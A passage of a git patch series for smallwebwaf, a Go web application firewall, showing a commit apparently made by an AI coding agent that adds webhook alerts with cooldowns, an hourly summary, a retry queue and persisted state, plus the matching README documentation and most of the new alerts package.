make([]BanEntry, 0, len(held)) + for _, ban := range held { + entries = append(entries, newBanEntry(ban)) + } + + return entries +} + // newBanEntry returns ban as bans.json holds it. -func newBanEntry(ban bans.Ban) banEntry { - entry := banEntry{ +func newBanEntry(ban bans.Ban) BanEntry { + entry := BanEntry{ Netblock: ban.Netblock, Start: ban.Start, Cause: ban.Cause, Reason: ban.Reason, Notes: ban.Notes, } @@ -472,7 +479,7 @@ func newBanEntry(ban bans.Ban) banEntry { } // ban returns the ban an entry of bans.json holds. -func (e banEntry) ban() bans.Ban { +func (e BanEntry) ban() bans.Ban { ban := bans.Ban{ Netblock: e.Netblock, Start: e.Start, Cause: e.Cause, Reason: e.Reason, Notes: e.Notes, From 432097ee3fd071938dd493c3812d3cbcab61c18b Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 04:21:24 +0200 Subject: [PATCH 31/64] Alerts to a JSON webhook, with a cooldown and an hourly summary (closes #26) SWWAF_ALERT_WEBHOOK_URL gets one JSON POST per alert, in SPEC.md's schema, with SWWAF_ALERT_WEBHOOK_HEADERS: ban and permanent_ban, with the ban's notes, in observe mode too, marked mode observe and worked out only when the alert would be sent; source_failure for GeoJS; file_error for a rule or state file with an error. SWWAF_ALERT_EVENTS chooses; SWWAF_ALERT_COOLDOWN holds back repeats by netblock, file or source; past SWWAF_ALERT_MAX_PER_HOUR the hour ends in one summary. A bounded queue, retried with backoff, holds up no request; a 4xx other than 408 and 429 gives the alert up. alerts.json keeps the queue, the cooldowns and the hour. Nothing shows the URL's path or query. Judgement call: the summary's event is summary, which SPEC.md omits. Judgement call: an admin's ban raises no alert. Model: opus-5-5 --- README.md | 216 +++++- internal/alerts/alerts.go | 609 ++++++++++++++++ internal/alerts/alerts_test.go | 852 +++++++++++++++++++++++ internal/alerts/export_test.go | 12 + internal/bans/admin_test.go | 20 +- internal/bans/bans.go | 120 +++- internal/bans/bans_test.go | 184 +++-- internal/bans/snapshot_test.go | 24 +- internal/config/config.go | 185 ++++- internal/config/config_test.go | 164 +++++ internal/lookup/lookup.go | 13 + internal/lookup/lookup_test.go | 62 +- internal/metrics/metrics.go | 42 ++ internal/proxy/alerts_test.go | 263 +++++++ internal/proxy/bans.go | 116 ++- internal/proxy/proxy.go | 9 +- internal/proxy/proxy_test.go | 28 +- internal/proxy/rules.go | 9 +- internal/rules/rules.go | 42 +- internal/rules/rules_test.go | 39 +- internal/rules/watch_internal_test.go | 3 + internal/smallwebwaf/smallwebwaf.go | 115 ++- internal/smallwebwaf/smallwebwaf_test.go | 166 +++++ internal/state/state.go | 128 +++- internal/state/state_test.go | 308 +++++++- 25 files changed, 3474 insertions(+), 255 deletions(-) create mode 100644 internal/alerts/alerts.go create mode 100644 internal/alerts/alerts_test.go create mode 100644 internal/alerts/export_test.go create mode 100644 internal/proxy/alerts_test.go diff --git a/README.md b/README.md index a02bcdb..206c9b1 100644 --- a/README.md +++ b/README.md @@ -19,9 +19,10 @@ ledger with the bans you make, keep and lift, the JSON state files with your edits taken in while it runs and the paths the rate limits do not count, which come next in the build order, `observe` mode and the rest of the request log's fields, which come a little later, and the metrics endpoint and the header size -and the idle time as settings, which come last in it. So are three parts of the +and the idle time as settings, which come last in it. So are four parts of the stage after it: the rule files, the first part, with the bans for a clear sign -of attack, the other admin endpoints, the second, and remote log sending. +of attack, the other admin endpoints, the second, alerts to a JSON webhook, the +first of the three destinations alerts go to, and remote log sending. `smallwebwaf` passes each request to the app and the app's answer back, unchanged, within its timeouts and size limits, works out each client's address, bans a client that sends too many requests, not counting those for the paths you @@ -31,14 +32,16 @@ the rule files and bans a client whose request is a clear sign of attack, keeps its bans, each client's counters and history, and GeoJS's answers in JSON files across restarts, takes in your edits of those files, such as a ban you make, keep or lift, and of the rule files while it runs, writes a JSON log line for -every request, sends its log lines to a syslog server too if you name one, -serves Prometheus metrics to a scraper that holds the metrics token, lets an -admin who holds the admin token list, add and lift bans and ask what it knows of -a client, and in `observe` mode passes on the requests it would refuse, logging -what it would have done with them. It comes as the image the app's own image is -built on. The rest of the design comes after that, in the order of the build -order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to the -design is in [`EVALUATION.md`](EVALUATION.md). +every request, sends its log lines to a syslog server too if you name one, sends +an alert to a webhook you name for each ban it makes or makes permanent, for +GeoJS failing and for a rule file or state file with an error, serves Prometheus +metrics to a scraper that holds the metrics token, lets an admin who holds the +admin token list, add and lift bans and ask what it knows of a client, and in +`observe` mode passes on the requests it would refuse, logging what it would +have done with them. It comes as the image the app's own image is built on. The +rest of the design comes after that, in the order of the build order in +[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in +[`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -161,7 +164,9 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of neither a broken rate limit nor a `ban` rule makes a ban; a broken rate limit does not set the client's counters back to zero, so each request over the limit is logged as one that would be refused; and a request under a ban does - not make it permanent. The bans in `bans.json` are kept, and refuse requests + not make it permanent. A ban it would have made, or made permanent, raises the + alert `enforce` mode would have raised, marked as what would have happened + (see "Alerts" below). The bans in `bans.json` are kept, and refuse requests again when `smallwebwaf` next runs in `enforce` mode, as long as they last. The timeouts and size limits still apply, since they protect `smallwebwaf` and the app themselves, and a request for one of `smallwebwaf`'s own endpoints @@ -185,6 +190,11 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of - Sends every line it writes on stdout to a syslog server as well, while `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" below). +- Sends an alert, as a JSON object, to the webhook `SWWAF_ALERT_WEBHOOK_URL` + names, while it names one, for each ban it makes or makes permanent, for GeoJS + failing, and for a rule file or state file with an error, holding back repeats + and, past an hourly limit, rolling the rest into one summary (see "Alerts" + below). ## Settings @@ -327,6 +337,24 @@ effective settings are logged at start. lines are sent with, 1 to 48 printable ASCII characters without a space. While `SWWAF_LOG_REMOTE_URL` is set, an `SWWAF_INSTANCE_NAME` that is not such a name stops the start too, unless this setting gives one that is. +- `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook each alert is posted + to, an `http` or `https` URL without a user or a fragment, such as + `https://alerts.example/smallwebwaf` (see "Alerts" below). Unset or empty, no + alert is sent. Since many webhooks carry their secret in the path or the + query, the settings logged at start show `********` in place of them, and a + value that stops the start is not shown. +- `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each alert, + such as one that authenticates it, as a list of a name, `:` and a value, such + as `Authorization:Bearer 0123456789abcdef`. A value cannot hold a comma. The + settings logged at start show `********` in place of each value. +- `SWWAF_ALERT_EVENTS` (default + `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`): + the events alerts are sent for. `waf_block`, `anomaly` and `reputation_hit` + come with the features that raise them; nothing raises them yet. +- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long a repeat of an alert is held + back (see "Alerts" below). +- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour; + the rest of the hour's alerts are rolled into one summary. Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 @@ -335,9 +363,10 @@ and a bare address stands for itself alone. Countries are the two-letter codes ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any other code, such as `nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a code on both country lists. `off` switches -a timeout, a size limit or a rate limit off; -`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, the ban settings, the state settings, -`SWWAF_METRICS_TOP_N` and `SWWAF_LOG_REMOTE_BUFFER` cannot be off. +a timeout, a size limit, a rate limit, `SWWAF_ALERT_COOLDOWN` or +`SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, the ban +settings, the state settings, `SWWAF_METRICS_TOP_N` and +`SWWAF_LOG_REMOTE_BUFFER` cannot be off. Several limits are fixed rather than settings. At most 20,000 clients are kept, with their counters and history, and an IPv6 client is counted by its /64. A new @@ -501,12 +530,121 @@ As `smallwebwaf` stops, it sends the lines still waiting, on the connection open or a new one, for at most two seconds, and gives up the rest; stdout has carried them. +## Alerts + +While `SWWAF_ALERT_WEBHOOK_URL` is set, `smallwebwaf` posts each alert to it as +one JSON object, with `Content-Type: application/json` and the headers +`SWWAF_ALERT_WEBHOOK_HEADERS` gives, as "Alert webhook schema" in +[`SPEC.md`](SPEC.md) describes. An alert is for one of these events, and is sent +when `SWWAF_ALERT_EVENTS` names its event: + +- `ban`: a ban `smallwebwaf` makes, for a broken rate limit or a clear sign of + attack. +- `permanent_ban`: a permanent ban it makes, or a ban for a clear sign of attack + that a request made permanent. +- `source_failure`: GeoJS failing or refusing `smallwebwaf`. +- `file_error`: a rule file edited while it runs that has an error, an edit of a + state file set aside as `.bad`, or a state file it could not write while + running. + +The bans you make, in `bans.json` or through the ban endpoints, raise no alert. +In `observe` mode, a request that would have made a ban, or made one permanent, +raises the alert `enforce` mode would have raised, for the ban as it would have +been, with `mode`, `observe`, in its `detail`: no ban was made, or made +permanent. A request that would have made a ban whose alert would be held back, +by the cooldown or past `SWWAF_ALERT_MAX_PER_HOUR`, raises none, and is not +counted. This is the alert for a ban for a broken rate limit, shown indented; it +is sent on one line: + +```json +{ + "instance": "fsn1app1/gitea", + "time": "2026-10-06T12:00:00.123461Z", + "event": "ban", + "client": "203.0.113.9", + "netblock": "203.0.113.9/32", + "asn": "", + "as_name": "", + "country": "", + "reason": "requests per minute over the limit of 1000", + "detail": { + "ban_expires": "2026-10-06T13:00:00.123Z", + "cause": "limit", + "notes": { + "country": "", + "limit": 1000, + "window": "minute", + "count": 1001, + "request": { + "time": "2026-10-06T12:00:00.123456789Z", + "method": "GET", + "host": "app.example", + "path": "/owner/repo/commits/branch/main?page=812", + "status": 403, + "user_agent": "scraper/1.0" + }, + "requests": 5210, + "refused": 0, + "earlier_bans": { + "limit": 0, + "attack": 0, + "admin": 0 + } + } + }, + "suppressed_repeats": 0 +} +``` + +- `instance` is `SWWAF_INSTANCE_NAME`, and `time` when the alert was raised, in + UTC. +- `client` is the address of the client whose request raised the alert, and + `netblock` the netblock of the ban; both are empty for `source_failure` and + `file_error`. `asn` and `as_name` are empty until AS numbers are looked up, + and `country` is, for a ban, the client's country as the ban's notes give it. +- `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`. +- `detail` is what is particular to the event: for a ban, its `cause`, when it + ends as `ban_expires`, in the form the request log gives it, and its `notes`, + as `bans.json` gives them; for `source_failure`, the `source`, `geojs`, the + `error`, and when GeoJS is asked again, `asking_again_in`; for `file_error`, + the `file`, which for an edit set aside is the file it was renamed to, and the + `error`, which for a file that does not parse names where in it the error is. +- `suppressed_repeats` is how many repeats the cooldown held back before this + alert. + +An alert for the same event as the last one sent, on the same netblock, or for a +`file_error` about the same file, or for a `source_failure` about the same +source, less than `SWWAF_ALERT_COOLDOWN` after it, is a repeat: it is held back +and counted, and the next alert sent for them gives that count as +`suppressed_repeats`. + +Past `SWWAF_ALERT_MAX_PER_HOUR` alerts in an hour of the clock, in UTC, the +hour's other alerts are held back and counted by event. Once the hour has ended, +one alert sums them up: its `event` is `summary`, its `reason` says how many +were held back, and its `detail` gives the `hour` as when it started, the +`count`, and the count for each event, as `events`. An alert held back this way +starts no cooldown, and the repeats held back before it are given by the next +alert sent for the same event and netblock, file or source. + +The alerts wait in a queue of at most 1000, from which they are sent one at a +time, the oldest first, so a webhook that is slow or down never holds up a +request. The webhook takes an alert by answering with a 2xx status, and refuses +it with a 4xx status other than `408` and `429`: a refused alert is logged, +counted as dropped, and given up, so that the next is sent. Any other answer, a +redirect included, a connection that fails, or no answer within 10 seconds is a +failure: it is logged, without the webhook's URL, and the alert is sent again a +second later, twice as long after each further failure in a row, up to a minute. +With 1000 alerts waiting, the oldest is dropped to make room for a new one. The +cooldowns, the hour under way and the alerts still waiting are kept in +`alerts.json` (see "State files" below), so that after a restart the alerts +waiting are sent, and the cooldowns go on. + ## State files -`smallwebwaf` keeps its state in memory and a copy of it in three JSON files in +`smallwebwaf` keeps its state in memory and a copy of it in four JSON files in `SWWAF_STATE_DIR`, `/var/lib/smallwebwaf` by default, as "Persistent state" in [`SPEC.md`](SPEC.md) describes. Each has a top-level `version`, 1, and lists its -entries by client address, with times in UTC. +entries by client address, but for the alerts waiting, with times in UTC. - `bans.json`: every ban with its notes, indented to be read. A permanent ban's `expires` is `null`. A ban's `cause` is `limit` for a broken rate limit or @@ -525,14 +663,23 @@ entries by client address, with times in UTC. line of its own, so `grep` shows everything about one. - `lookups.json`: GeoJS's answers, one to a line, with when GeoJS gave each and when it was last used. +- `alerts.json`: the state of the alerts (see "Alerts" above), indented to be + read: under `cooldowns`, for each event and netblock, or event and `file` or + `source`, or event alone, when the last alert was sent, `sent`, and the + repeats held back since, `suppressed_repeats`; under `hour`, the hour under + way, from its `start`, the alerts `sent` in it and those `held_back` for its + summary, by event; and under `waiting`, the alerts still waiting to be sent, + the oldest first, each as the webhook is sent it. As an hour ends, the + cooldowns that have run out with no repeat held back are dropped. `bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made, lifted through `DELETE /_smallwebwaf/bans/`, or made permanent, with every such change in between, and every file every `SWWAF_STATE_COUNTER_INTERVAL` and when `smallwebwaf` stops. Each write goes to a temporary file in the same directory, which then replaces the file, so a crash leaves the old file or the new one, -whole. A write that fails is logged, and tried again at the next write. A hard -kill loses what changed since the last write. +whole. A write that fails is logged, raised as a `file_error` alert while +`smallwebwaf` runs, and tried again at the next write. A hard kill loses what +changed since the last write. At start the files are read back: each client keeps its counts, so a restart gives it no fresh allowance, and each ban keeps refusing every client in its @@ -547,8 +694,9 @@ without a field it needs, named with the entry's place in the file: a ban's `netblock`, `start` or `expires`, which is `null` for a permanent ban; a client's `client`, or the `start` of a window in which it has requests; an answer's `client`, `country`, which is `""` for a client GeoJS cannot place, or -`answered`. So does a ban whose `cause` is not `limit`, `attack` or `admin`. The -AS number and AS name come with their lookup. +`answered`; a cooldown's `event` or `sent`; an alert waiting's `event` or +`time`. So does a ban whose `cause` is not `limit`, `attack` or `admin`. The AS +number and AS name come with their lookup. While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of a state file as soon as you save it: what the file then holds replaces what @@ -560,10 +708,11 @@ lost when you save over it. An edit that would stop the start, because it does not parse, has another `version`, leaves out a field an entry needs or gives a ban another `cause`, does not stop the running `smallwebwaf`: it keeps what it holds, and at the file's next write renames your file to `.bad`, such as -`bans.json.bad`, writes the file again from memory, and logs the file and where -the error is. It waits for that write because an editor's file can be read -before the editor has finished writing it. Mend the `.bad` file and move it -back. A file you remove is written again at its next write. +`bans.json.bad`, writes the file again from memory, logs the file and where the +error is, and raises a `file_error` alert for it. It waits for that write +because an editor's file can be read before the editor has finished writing it. +Mend the `.bad` file and move it back. A file you remove is written again at its +next write. To ban a netblock, add an entry to `bans.json` with its `netblock`, its `start` and its `expires`, `null` for a ban that never ends; its `reason` and its @@ -649,8 +798,8 @@ place, appended to or copied in with `scp` is read only once whole, unless its writing stops for longer. It also reads them 2 seconds after it starts watching, so that an edit saved while it started is not missed. If they then hold one of those errors, the rules stay as they were, the earlier version of the edited -file included, the log names the file and the line, and the files are read again -after the next change. +file included, the log and a `file_error` alert name the file and the line, and +the files are read again after the next change. The image ships one rule file, `share/rules.d/00-default.rules` here: rules that ban probes no real visitor sends, for secrets, version control directories, @@ -727,6 +876,12 @@ other request. No metric carries a client's address. `smallwebwaf_remote_log_lines_dropped_total`: those dropped, from a full buffer or because their sending failed; and `smallwebwaf_remote_log_buffer_depth`: those waiting in the buffer. +- While `SWWAF_ALERT_WEBHOOK_URL` is set, by `destination`, `webhook`: + `smallwebwaf_alerts_sent_total`: the alerts the webhook took; + `smallwebwaf_alerts_failed_total`: the requests to it that failed; + `smallwebwaf_alerts_suppressed_total`: the alerts held back, as repeats or for + an hour's summary; and `smallwebwaf_alerts_dropped_total`: those dropped from + a full queue, or given up as the webhook refused them. - Go's own `go_` metrics and the process's `process_` metrics. The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request @@ -897,9 +1052,9 @@ goes through the candidates one by one. readable JSON files, written regularly and at every stop, so a restart loses nothing. Edit a file, or add a rule file, and the running `smallwebwaf` picks up the change. Nothing is read from disk while serving a request. The files - for the bans, the clients and the GeoJS answers are built, with an edit taken - in while running (see "State files" above); the others come with their - features. + for the bans, the clients, the GeoJS answers and the alerts are built, with an + edit taken in while running (see "State files" above); the others come with + their features. - Health checks, the metrics, and listing, adding and lifting bans or asking why a given address was refused, all on the one port every request uses: under `/_smallwebwaf/` on the app's own address, through traefik like any other @@ -1103,6 +1258,9 @@ addresses are never sent to GeoJS. each as a syslog record, from a buffer of its own. It is written with the standard library alone, whose `log/syslog` writes only the older syslog format. +- `internal/alerts`: takes the alerts the other parts raise, holds back repeats + and those past the hourly limit, and sends the others to + `SWWAF_ALERT_WEBHOOK_URL` from a queue of its own. - `Dockerfile`: the lint and test phases, then the image, whose last stage installs Ubuntu's packages, nixpkgs, `runsvinit` and `smallwebwaf`, with `share/smallwebwaf.run` as runit's `run` script for `smallwebwaf` and diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go new file mode 100644 index 0000000..71c85ad --- /dev/null +++ b/internal/alerts/alerts.go @@ -0,0 +1,609 @@ +// Package alerts sends alerts on bans, on a source that fails and on a +// file with an error to the webhook SWWAF_ALERT_WEBHOOK_URL names, each +// as one JSON object, as the "Alert webhook schema" section of SPEC.md +// describes. A repeat within SWWAF_ALERT_COOLDOWN is held back, and so is +// an alert past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The +// others wait in a bounded queue, so that a slow or unreachable webhook +// never holds up a request. The state is written to alerts.json and read +// from it by the state package. Nothing logged names the webhook's URL, +// whose path or query can carry a secret. +package alerts + +import ( + "bytes" + "cmp" + "context" + "encoding/json" + "errors" + "fmt" + "io" + "log/slog" + "maps" + "net/http" + "net/netip" + "net/url" + "slices" + "sync" + "sync/atomic" + "time" +) + +// The events an alert is for, as SWWAF_ALERT_EVENTS names them. +const ( + // EventBan is a ban smallwebwaf made. + EventBan = "ban" + // EventPermanentBan is a permanent ban smallwebwaf made, or a ban it + // made permanent. + EventPermanentBan = "permanent_ban" + // EventWAFBlock, EventAnomaly and EventReputationHit come with the + // Core Rule Set, the anomaly thresholds and the reputation sources; + // nothing raises them yet. + EventWAFBlock = "waf_block" + EventAnomaly = "anomaly" + EventReputationHit = "reputation_hit" + // EventSourceFailure is GeoJS failing or refusing smallwebwaf. + EventSourceFailure = "source_failure" + // EventFileError is a rule file or state file edited while smallwebwaf + // runs that does not parse, or a state file that cannot be written. + EventFileError = "file_error" + // EventSummary is the summary of the alerts an hour held back past + // SWWAF_ALERT_MAX_PER_HOUR. SWWAF_ALERT_EVENTS does not name it. + EventSummary = "summary" +) + +// Events returns every event SWWAF_ALERT_EVENTS can name, which is its +// default. +func Events() []string { + return []string{ + EventBan, EventPermanentBan, EventWAFBlock, EventAnomaly, + EventReputationHit, EventSourceFailure, EventFileError, + } +} + +const ( + // queueSize is the most alerts that wait to be sent. Past it, the + // oldest is dropped. + queueSize = 1000 + // sendTimeout bounds one request to the webhook. + sendTimeout = 10 * time.Second + // After a request to the webhook fails, the alert is sent again a + // second later, and retryDelayFactor times as long after each further + // failure in a row, up to a minute. + firstRetryDelay = time.Second + retryDelayFactor = 2 + maxRetryDelay = time.Minute + // maxAnswerBytes is the most of the webhook's answer that is read. + maxAnswerBytes = 64 << 10 +) + +var ( + errStatus = errors.New("the webhook answered") + // errRefused is a 4xx answer other than 408 and 429: the webhook + // refuses the alert itself, and would refuse it again. + errRefused = errors.New("the webhook refused the alert, answering") +) + +// Params are what New needs. +type Params struct { + // WebhookURL is where each alert is posted (SWWAF_ALERT_WEBHOOK_URL), + // nil while it is unset and no alert is sent. WebhookHeaders are sent + // with each (SWWAF_ALERT_WEBHOOK_HEADERS). + WebhookURL *url.URL + WebhookHeaders http.Header + // Events are the events alerts are sent for (SWWAF_ALERT_EVENTS). + Events []string + // Cooldown is how long a repeat of an alert is held back + // (SWWAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts + // sent in an hour (SWWAF_ALERT_MAX_PER_HOUR), 0 for no limit. + Cooldown time.Duration + MaxPerHour int + // Instance is SWWAF_INSTANCE_NAME, which every alert gives. + Instance string + // Now tells the time of an alert, normally time.Now in UTC. + Now func() time.Time + // ProcessLog receives the requests to the webhook that fail. + ProcessLog *slog.Logger +} + +// Alert is one alert, as the webhook is sent it and alerts.json holds it, +// with the fields of the "Alert webhook schema" section of SPEC.md. ASN +// and ASName are empty until AS numbers are looked up. +// +//nolint:tagliatelle // SPEC.md's alert webhook schema names its fields in snake_case +type Alert struct { + Instance string `json:"instance"` + Time time.Time `json:"time"` + Event string `json:"event"` + Client netip.Addr `json:"client"` + Netblock netip.Prefix `json:"netblock"` + ASN string `json:"asn"` + ASName string `json:"as_name"` + Country string `json:"country"` + // Reason is a short sentence, and Detail what is particular to the + // event: for a file_error, its "file", and for a source_failure, its + // "source", which the cooldown tells repeats by. + Reason string `json:"reason"` + Detail map[string]any `json:"detail"` + // SuppressedRepeats is how many repeats of the alert the cooldown + // held back since the last one let through. + SuppressedRepeats int `json:"suppressed_repeats"` +} + +// Cooldown is, for an event on a netblock, or about a file or a source, +// when the last alert let through was raised, and how many repeats the +// cooldown has held back since, as alerts.json holds it. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does +type Cooldown struct { + Event string `json:"event"` + Netblock netip.Prefix `json:"netblock"` + File string `json:"file,omitempty"` + Source string `json:"source,omitempty"` + Sent time.Time `json:"sent"` + SuppressedRepeats int `json:"suppressed_repeats"` +} + +// Hour is the hour under way, by the clock, as alerts.json holds it: when +// it started, how many alerts were let through in it, and how many were +// held back in it past MaxPerHour, by event, for its summary. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does +type Hour struct { + Start time.Time `json:"start"` + Sent int `json:"sent"` + HeldBack map[string]int `json:"held_back"` +} + +// State is what alerts.json holds: the cooldowns, the hour under way, and +// the alerts waiting to be sent, oldest first. +type State struct { + Cooldowns []Cooldown `json:"cooldowns"` + Hour Hour `json:"hour"` + Waiting []Alert `json:"waiting"` +} + +// Queue takes the alerts raised, holds back those it must, and sends the +// others to the webhook. It is safe for concurrent use. +type Queue struct { + params Params + // httpClient follows no redirect: a redirect is a failure. + httpClient *http.Client + // queued receives a value when an alert joins the queue, unless one + // waits already, so that Run looks at the queue again. + queued chan struct{} + + mu sync.Mutex + // cooldowns are the alerts last let through, by event and netblock, + // file or source. + cooldowns map[cooldownKey]*Cooldown + hour Hour + // waiting are the alerts waiting to be sent, oldest first. + waiting []*Alert + + sent, failed, suppressed, dropped atomic.Int64 +} + +// cooldownKey is what makes an alert a repeat of another: the same event +// on the same netblock, and about the same file or source, as its detail +// names them. Each is empty for an alert without one. +type cooldownKey struct { + event string + netblock netip.Prefix + file string + source string +} + +// cooldownKeyOf returns what makes another alert a repeat of alert. +func cooldownKeyOf(alert *Alert) cooldownKey { + file, _ := alert.Detail["file"].(string) + source, _ := alert.Detail["source"].(string) + + return cooldownKey{alert.Event, alert.Netblock, file, source} +} + +// New returns a Queue with no alert yet. +func New(params Params) *Queue { + return &Queue{ + params: params, + httpClient: &http.Client{ + CheckRedirect: func(*http.Request, []*http.Request) error { + return http.ErrUseLastResponse + }, + }, + queued: make(chan struct{}, 1), + cooldowns: map[cooldownKey]*Cooldown{}, + hour: Hour{HeldBack: map[string]int{}}, + } +} + +// Raise sends alert, which names its event and what is particular to it, +// unless no webhook is set or SWWAF_ALERT_EVENTS leaves its event out. It +// gives alert the instance and the time. An alert that repeats the last +// one let through less than Cooldown before is held back and counted, +// and the next one let through gives that count. Past MaxPerHour alerts +// let through in the hour under way, by the clock, an alert is held back +// for that hour's summary instead, which is sent once the hour has ended; +// it starts no cooldown, and the repeats held back before it are given by +// the next alert let through. Raise never waits: an alert let through +// joins the queue, from which Run sends it, and with queueSize alerts +// waiting the oldest is dropped. +func (q *Queue) Raise(alert Alert) { + if q.params.WebhookURL == nil || !slices.Contains(q.params.Events, alert.Event) { + return + } + + q.mu.Lock() + defer q.mu.Unlock() + + now := q.params.Now() + alert.Instance = q.params.Instance + alert.Time = now + + if q.repeat(&alert, now) { + q.suppressed.Add(1) + + return + } + + q.endHour(now) + + if q.params.MaxPerHour > 0 && q.hour.Sent >= q.params.MaxPerHour { + q.hour.HeldBack[alert.Event]++ + q.suppressed.Add(1) + + return + } + + q.startCooldown(&alert, now) + q.hour.Sent++ + q.queue(&alert) +} + +// WouldSend reports whether Raise would let an alert for event on +// netblock through now: a webhook is set, SWWAF_ALERT_EVENTS chooses +// event, no alert for event on netblock was let through less than +// Cooldown before, and fewer than MaxPerHour alerts have been let through +// in the hour under way. Unlike Raise, it counts nothing. +func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool { + if q.params.WebhookURL == nil || !slices.Contains(q.params.Events, event) { + return false + } + + q.mu.Lock() + defer q.mu.Unlock() + + now := q.params.Now() + + last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}] + if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown { + return false + } + + q.endHour(now) + + return q.params.MaxPerHour == 0 || q.hour.Sent < q.params.MaxPerHour +} + +// Run sends the alerts waiting, oldest first, until ctx is done. An alert +// stays in the queue until the webhook answers it with a 2xx status, or +// refuses it with a 4xx status other than 408 and 429: a refused alert is +// logged, counted as dropped, and given up, so that the next is sent. Any +// other request that fails is logged, and the alert sent again +// firstRetryDelay later, retryDelayFactor times as long after each +// further failure in a row, up to maxRetryDelay. Run also ends each hour +// as Raise does, so that the hour's summary is sent as it ends. With no +// webhook set, it returns at once. +func (q *Queue) Run(ctx context.Context) { + if q.params.WebhookURL == nil { + return + } + + var ( + retryDelay time.Duration + retryAt time.Time + ) + + for { + alert, untilHourEnds := q.next() + hourEnds := time.NewTimer(untilHourEnds) + + var due <-chan time.Time // nil while no alert waits + if alert != nil { + due = time.After(time.Until(retryAt)) + } + + select { + case <-ctx.Done(): + hourEnds.Stop() + + return + case <-q.queued: + case <-hourEnds.C: + q.mu.Lock() + q.endHour(q.params.Now()) + q.mu.Unlock() + case <-due: + err := q.send(ctx, alert) + + switch { + case err == nil: + q.remove(alert) + q.sent.Add(1) + + retryDelay = 0 + retryAt = time.Time{} + case errors.Is(err, errRefused): + q.remove(alert) + q.failed.Add(1) + q.dropped.Add(1) + + retryDelay = 0 + retryAt = time.Time{} + + q.params.ProcessLog.Warn("gave up an alert SWWAF_ALERT_WEBHOOK_URL refused", + "event", alert.Event, "error", err.Error()) + case ctx.Err() == nil: // not cut off as smallwebwaf stops + q.failed.Add(1) + + retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay), + maxRetryDelay) + retryAt = time.Now().Add(retryDelay) + + q.params.ProcessLog.Warn("sending an alert to SWWAF_ALERT_WEBHOOK_URL failed", + "error", err.Error(), "sending_again_in", retryDelay.String()) + } + } + + hourEnds.Stop() + } +} + +// Sent is how many alerts the webhook has taken. +func (q *Queue) Sent() int64 { + return q.sent.Load() +} + +// Failed is how many requests to the webhook have failed. +func (q *Queue) Failed() int64 { + return q.failed.Load() +} + +// Suppressed is how many alerts were held back: by the cooldown, and past +// MaxPerHour. +func (q *Queue) Suppressed() int64 { + return q.suppressed.Load() +} + +// Dropped is how many alerts were dropped from a full queue, or given up +// as the webhook refused them. +func (q *Queue) Dropped() int64 { + return q.dropped.Load() +} + +// Snapshot returns the queue's state, as alerts.json holds it, with the +// cooldowns sorted by netblock, then by event, file and source. +func (q *Queue) Snapshot() State { + q.mu.Lock() + defer q.mu.Unlock() + + state := State{ + Cooldowns: make([]Cooldown, 0, len(q.cooldowns)), + Hour: q.hour, + Waiting: make([]Alert, 0, len(q.waiting)), + } + state.Hour.HeldBack = maps.Clone(q.hour.HeldBack) + + for _, cooldown := range q.cooldowns { + state.Cooldowns = append(state.Cooldowns, *cooldown) + } + + slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int { + return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event), + cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source)) + }) + + for _, alert := range q.waiting { + state.Waiting = append(state.Waiting, *alert) + } + + return state +} + +// Load puts state, read from alerts.json, in place of the queue's state. +// Each cooldown's netblock is masked to its length, so that +// 203.0.113.9/24 is 203.0.113.0/24. Past queueSize alerts waiting, the +// oldest are dropped. +func (q *Queue) Load(state State) { + q.mu.Lock() + defer q.mu.Unlock() + + q.cooldowns = map[cooldownKey]*Cooldown{} + + for _, cooldown := range state.Cooldowns { + cooldown.Netblock = cooldown.Netblock.Masked() + key := cooldownKey{cooldown.Event, cooldown.Netblock, cooldown.File, cooldown.Source} + q.cooldowns[key] = &cooldown + } + + q.hour = state.Hour + q.hour.HeldBack = maps.Clone(state.Hour.HeldBack) + + if q.hour.HeldBack == nil { + q.hour.HeldBack = map[string]int{} + } + + q.waiting = nil + + for _, alert := range state.Waiting { + q.queue(&alert) + } +} + +// repeat reports whether alert, raised at now, repeats the last one let +// through less than Cooldown before, and counts it if it does. +func (q *Queue) repeat(alert *Alert, now time.Time) bool { + if q.params.Cooldown == 0 { + return false + } + + last, found := q.cooldowns[cooldownKeyOf(alert)] + if !found || now.Sub(last.Sent) >= q.params.Cooldown { + return false + } + + last.SuppressedRepeats++ + + return true +} + +// startCooldown gives alert, let through at now, the count of the repeats +// held back since the last one let through, and notes alert 